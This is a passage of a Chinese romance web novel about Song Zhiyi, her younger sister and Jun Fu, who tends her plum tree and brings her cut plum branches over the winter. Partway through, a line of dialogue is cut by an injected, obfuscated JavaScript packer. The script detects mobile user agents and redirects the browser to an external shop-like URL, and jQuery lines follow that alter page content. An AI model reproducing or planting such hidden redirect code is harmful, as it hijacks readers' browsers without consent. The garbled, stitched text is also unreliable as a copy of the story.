宋知宜沉默了很久。风吹过来，梅树的枝干轻轻晃了一下，像在点头。她喝了一口茶，将茶碗放在栏杆上，站起来，走到梅树前，伸手轻轻碰了碰枝头那个小小的芽苞。
“叫什么名字？”她问。
君复愣了一下：“什么？”
“这株梅，叫什么名字？”
君复走过来，站在她旁边，也看着那个芽苞：“你可以取一个。”
宋知宜想了想，说：“等开了再说。”
君复笑了：“好。”
此后，君复每天都来浇水。有时浇完水就走了，有时留下来吃晚饭，有时只是坐在廊下看一会儿书，等小小写完字，检查完了再走。主要是现在有了正当的身份，上门不用跟过去一样找“借口”。
天一日日地冷下去，桂花落尽了，院里的梅树还是光秃秃的，看不出什么生机。小小每天都去摸一摸树干，仰着脸问君复：“它什么时候长好？”君复说：“很快。”小小又问：“那什么时候开花？”君复说：“冬天。”小小嘟囔着说等得好久，但还是每天去摸一下。
宋知宜有时候站在廊下，看着小小的背影，也看着那株梅树。她想起那位女子院子里的那些梅花，想起她坐在廊下绣花，阳光落在她苍白的脸上，她抬头笑了笑，说“知宜，梅花开了”。那年的梅花开了，开得很盛，满树红花，像一团烧不尽的火。她说“真好看”，那是她最后一次看到梅花。
“阿姐！”小小的声音把她拉回来，“君哥哥说梅花开了要画给姨母看，你帮我磨墨好不好？”
宋知宜回过神，走进屋里，从抽屉里取出砚台和墨条，磨了一会儿，将墨汁倒进小小的砚台里。小小趴在桌上，一笔一笔地描。
君复坐在对面，手里也拿着一支笔，在纸上写了几行字，折好，收进袖中。
宋知宜问他写了什么，他只是笑笑却不说。
冬日的太阳落得早，还没到酉时，暮色就从墙头漫下来了。君复收起笔，站起来，走到院子里，蹲下来看了看梅树的根部。他直起身，拍了拍袍角的灰，走到廊下，拿起那盏还没有点上的灯笼。
“明天我来。”他说。
宋知宜站在门口，看着他的背影消失在巷口。她站了一会儿，转身回了屋。
夜里起了风，吹得院门上的灯笼摇摇晃晃。宋知宜躺在床上，听着窗外的风声，忽然想起君复说的那句话——“会活的。活了，就会开。”她翻了个身，将被子拉上来盖住肩头。窗外那株梅树的枝干在风里轻轻晃着，像一个还没学会走路的孩子，摇摇摆摆的，但站着没有倒。
日子就这样一天天过去。宋小小每天去看梅树，每天问“开了没有”，每天得到的回答都是“还没有”。她也不失望，蹲在树根旁边给梅树说话，说“你要快点长，我阿姐等着看花呢”。
这日，君复来的时候，袖中藏了一枝梅。他从院门进来，照例先去看了那株梅树。枝头的花苞比前几日鼓了一些，但还是没有开。他蹲下来，用手拨开根部的土看了看。站起来的时候，他从袖中取出那枝梅，红艳艳的，已经开了大半，花瓣上还带着清晨的霜露。
宋知宜正从屋出来，手里端着两盏茶。她一眼看见了他手里的梅枝，脚步微微顿了一下。
“哪里折的？”她将茶盏放在廊下的栏杆上，声音平淡。
“花圃。”君复走过来，将梅枝递给她，“老先生这株开得最早，想着你院子里的还没开，就折了一枝。”
宋知宜没有立刻接，目光落在那枝红梅上。花开得很盛，花瓣层层叠叠的，颜色不是那种刺眼的红，是带着一点胭脂色的暖红，像冬日傍晚的云。
“你不是说种花不折花吗？”她问。
君复笑了笑：“折一枝，树死不了。你院子里这株开了，我就不折了。”
宋知宜伸手接过梅枝。枝干比她想象的要沉，上面挂了七八朵花，还有几个半开的花苞。她低头闻了闻，梅香很淡，若有若无的，像隔了一层薄雾。
“养在瓶里，能开好些天。”君复说。
宋知宜没有接话，转身进了屋。从里间拿出一只青瓷瓶，装了水，将梅枝插进去，摆在窗台上。阳光从窗户照进来，落在红梅上，花瓣上的露水在光线里闪了闪，像碎了的星。
小小从后院跑进来，一眼看见了窗台上的梅花，惊喜地叫起来：“阿姐！梅花开了！”
“不是院子里的。”宋知宜说。
宋小小凑过去看，踮着脚尖，鼻子都快贴到花瓣上了：“好香！君哥哥送的吗？”
宋知宜没有回答。宋小小已经跑出去了，拉着君复的手往屋里拽：“君哥哥！你快来看！梅花放在窗台上，好好看！”
君复被她拽进来，站在窗边，看着那枝红梅。阳光落在花瓣上，也落在他侧脸上，他的神情很平静，嘴角带着一点弧度。
宋知宜站在他旁边，也看着那枝梅。“你院子里不是也有梅吗？怎么不折你自己院子的？”
“我院子里那株还没开。”
“那你折别人家的？”
君复转过头看着她：“花圃的老先生说不算别人家。”
宋知宜没有接话，但她嘴角微微弯了一下，很浅，像风吹过水面，一瞬就平了。君复看见了，没有说。
此后几日，那枝红梅在窗台上一天一天地开着。花瓣从紧裹到舒展，从深红到浅红，一日一个样。小小每天都要去看，数一数开了几朵，又谢了几朵。宋知宜不数，但她每天早起第一件事，就是走到窗台前，看一眼那枝梅。
花开到第七日，开始谢了。第一片花瓣落在窗台上，薄薄的，还带着一点残红。宋知宜没有扫走，让它躺在那里。第二日，又落了几片。到第十日，枝上只剩两三朵花了，花瓣边缘已经发褐，卷曲着，像用旧了的纸。
君复来的时候，看见了窗台上那些落瓣。他没有说什么，只是从袖中又取出一枝梅，还是红的，比上次那枝开得稍晚一些，有些花苞还没展开。
“花圃的那株还在开。”他将梅枝递过去。
宋知宜看着那枝梅，没有接：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535693|202697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你又要让我养在瓶里？”
“不想养就扔了。”君复说。
宋知宜伸手接过去，转身插进那只青瓷瓶里。瓶里的水换了新的，旧枝被取出来，放在一旁。新旧交替，像是早就约定好的。
“你打算一直折到我院子里的梅开？”她问。
君复想了想：“也不是不行。”
宋知宜看了他一眼，将旧枝上的几片还没落完的花瓣摘下来，放在掌心，看了片刻，推开窗户，扬了出去。花瓣在风里打了几个旋，落在院子里的青砖地上，落在梅树的根旁，像一场小小的、无声的雪。
“等院子里的开了，就不用折了。”君复说。
宋知宜关上窗户，转过身，看着他那双温和的眼睛：“如果它一直不开呢？”
“那明年再折。”
“年年不开呢？”
君复弯了弯唇角。“那我每年都折。花圃的老先生说了，他那株年年都开，不缺我一枝。”另一边花圃的老先生正痛心疾首地看着他的梅树。
宋知宜没有再说话。她低头看着青瓷瓶里那枝新插的红梅，花瓣上还带着露水，花苞紧紧地裹着，像一个个攥着拳头的小孩子，等着被春风松开。
窗外，院子里的梅树静静地站着，枝头的花苞依旧紧闭。但它知道，它不急，有人也不急。
君复站在梅树旁边，看着那些花枝，转过头，对廊下的宋知宜说：“今年可能开不了。”语气里还是有些可惜的。
宋知宜端着茶碗，声音平淡：“那就明年。”
君复弯了弯唇角：“好。明年。”
宋小小从屋里跑出来，手里拿着一叠纸，举过头顶：“君哥哥！我写完了！你看！”
君复接过，蹲下来，一张一张地翻。翻到最后一张，他笑了笑，指着上面那个字：“这个‘梅’字写得最好。”
宋小小凑过去看，满意地点点头，又跑回屋里去了。
暮色四合，院子里的灯笼一盏一盏地亮起来。君复站起来，朝宋知宜微微颔首：“明天我来。”
宋知宜站在廊下，看着他推开院门，走进暮色里。他走得自在，像走在自己家的院子里。
她收回目光，低头看着手里那盏已经凉透的茶，没有泼掉，端起来喝了一口。茶是凉的，但她的心不是。
院子里那株梅树静静地站着，枝头的花苞还紧闭着，像藏着一个个不肯说的秘密。风一吹，枝干轻轻晃了晃，像是在跟她约定什么。
腊月初七，容城很少见的落了一场雪。
雪不大，细盐似的撒了一地，落到午时就化了，只留下青石板上一片潮润的湿意。宋知宜坐在杂货铺的柜台后，手里捧着茶盏，望着门外灰蒙蒙的天，不知在想什么。窗台上那枝君复折来的红梅已经谢了，她还没来得及换新的。
王易从外面跑进来，带进一阵冷风。他跑得很急，帽檐歪了半边，脸被风吹得发红。他没有像往常那样先拍身上的水汽，而是直接冲到柜台前，压低声音，气息不稳：“宋姑娘，出大事了。”